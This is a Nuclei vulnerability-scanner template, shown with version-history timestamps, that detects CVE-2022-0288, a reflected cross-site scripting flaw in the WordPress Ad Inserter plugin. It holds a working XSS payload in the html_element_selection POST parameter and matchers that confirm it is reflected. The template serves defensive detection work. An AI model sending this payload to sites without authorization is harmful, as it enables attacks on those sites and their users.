nuclei-templates/http/cves/2022/CVE-2022-0288.yaml

58 lines
1.7 KiB
YAML
Raw Normal View History

id: CVE-2022-0288
info:
name: WordPress Ad Inserter <2.7.10 - Cross-Site Scripting
author: DhiyaneshDK
severity: medium
description: |
WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page.
2023-09-06 11:59:08 +00:00
remediation: Fixed in version 2.7.12
reference:
- https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42
- https://nvd.nist.gov/vuln/detail/CVE-2022-0288
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0288
cwe-id: CWE-79
2023-10-14 11:27:55 +00:00
epss-score: 0.00106
epss-percentile: 0.42854
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:ad_inserter_pro_project:ad_inserter_pro:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: ad_inserter_pro_project
product: ad_inserter_pro
2023-09-06 11:59:08 +00:00
framework: wordpress
2023-07-11 19:49:27 +00:00
tags: wordpress,xss,wpscan,cve,cve2022
http:
- method: POST
path:
- "{{BaseURL}}"
body: |
2023-07-11 19:49:27 +00:00
html_element_selection=</script><img+src+onerror=alert(document.domain)>
2023-07-11 19:49:27 +00:00
headers:
Content-Type: "application/x-www-form-urlencoded"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><img src onerror=alert(document.domain)>"
- "ad-inserter"
condition: and
- type: word
part: header
words:
- "text/html"
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 490a00463044022033c4603a9083eede5e9f1b1d50e047165e796a507bab30400cdbf5bf7e53c4db02202db7d8b3b667a5b6cfbfcd62f3a188bdb3b8a07f425c0c0c4b8c073f527cc797:922c64590222798bb761d5b6d8e72950